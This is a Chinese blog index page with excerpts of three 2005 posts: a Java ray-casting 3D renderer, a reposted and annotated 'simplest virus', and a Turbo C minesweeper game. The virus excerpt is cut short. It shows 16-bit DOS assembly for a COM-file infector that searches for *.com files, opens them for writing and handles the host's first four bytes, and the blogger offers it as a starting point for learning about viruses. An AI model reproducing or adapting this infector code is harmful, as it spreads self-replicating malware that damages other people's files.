博文

用Java实现3D模型成像(2005-12-16 11:55:00)

摘要:        代码如此的短,被我优化过,所以不很容易看懂。有这个想法源于看图形学时看到的直线的画法,当时我想,用这个方法用来画空间投射线也应该很容易。于是就做了这个基于空间投射线的3D模型成像。         代码里面基本是算法,但是终归要有一个3D模型才能成像,于是我建立了一个3维数组,用来储存空间的点信息。也就是byte[][][] data;然后随便画了几个矩形、几个点,看起来效果还是不错的。(其实class Mod里面基本上都在画这些点和矩形)         【原理】从视点透出201×201的空间投射线,如果和空间中的3D模型相碰撞则返回并记录下点的颜色信息。最后产生一张201×201的2D图形,然后放大到603×603,并显示。         用(E)(D)(S)(F)来控制视点的上下左右移动,用(J)(K)(L)来控制视点的前进后退和复原。        【Model.java】 import java.awt.*;import java.awt.event.*;import java.awt.image.*;import javax.swing.*; public class Model{  public static void main(String [] args){    MFrame f = new MFrame();    f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);    f.setSize(608,628);    f.setVisible(true);  }} class MFrame extends JFrame{  MFrame(){   ......

阅读全文(4374) | 评论:0

【转载】一个最简单的病毒(2005-12-15 19:05:00)

摘要:        原来有一些错误,改正过来了,另外自己加了一些注解。毕竟实dos年代的16位病毒了,现在作用不大,但是似乎可以被杀毒软件检测出来,呵呵。         如果想学习病毒,不妨从这个开始,里面我自己加了些注解,如果不是很清除,可以和我交流。 VirusLength equ VirusEnd-VirusStartcode segment  assume cs:code,ds:code,ss:code  org 100hmain proc near  InfectedCode db 'M'               db 3 dup(90h)VirusStart:  call WhereIAmWhereIAm:  pop si  mov bp,si  add si,Original4Bytes-WhereIAm  mov di,100h  movsw  movsw;Change the first 4 bytes.  mov si,bp  mov ah,4ehLooK4NextTarget:  mov dx,offset Target-WhereIAm  add dx,si  mov cx,0  int 21h;Search for the first target file(*.com)  jc error  mov ax,3d02h  mov dx,9eh  int 21h  jc error  xchg ax,bx  mov ah,3fh  mov dx,si  add dx,Original4Bytes-WhereIAm  mov cx,4  int 21h;Read first 4 bytes of t......

阅读全文(4361) | 评论:0

一年以前最后一次用TC(2005-12-15 19:00:00)

摘要:        大概一年没有用C语言了吧,一直处于OO之中,用JAVA,又换成MFC。看核心技术,又看设计模式。幸好我有个习惯,写过的东西基本上全部保留下来,于是,可以看看当年的思维。         一年前写的扫雷、面向过程的C,现在看来,有如隔世。  #include<graphics.h>#include<dos.h>#include<conio.h>#include<stdlib.h> #define Timer 0x1c typedef enum boolean{False,True}BOOLEAN; typedef struct box{ int num; int veil;}Box; Box bx[32][18];int bmx[2]={1,1};int bmy[2]={1,1}; int dead=0;char *msg1="The time you spent is %d";char *msg2="The best score is %d";char buffer[30]; #ifdef __cplusplus#define __CPPARGS ...#else#define __CPPARGS#endif /*************************************** time functions *******************************/int TCounter=0; void interrupt ( *oldhandler)(__CPPARGS); void interrupt newhandler(__CPPARGS){ TCounter++; oldhandler();}void SetTimer(void interrupt(*IntProc)(__CPPARGS)){ oldhandler=getvect(Timer); disable(); setvect(Timer,IntProc); enabl......

阅读全文(2377) | 评论:1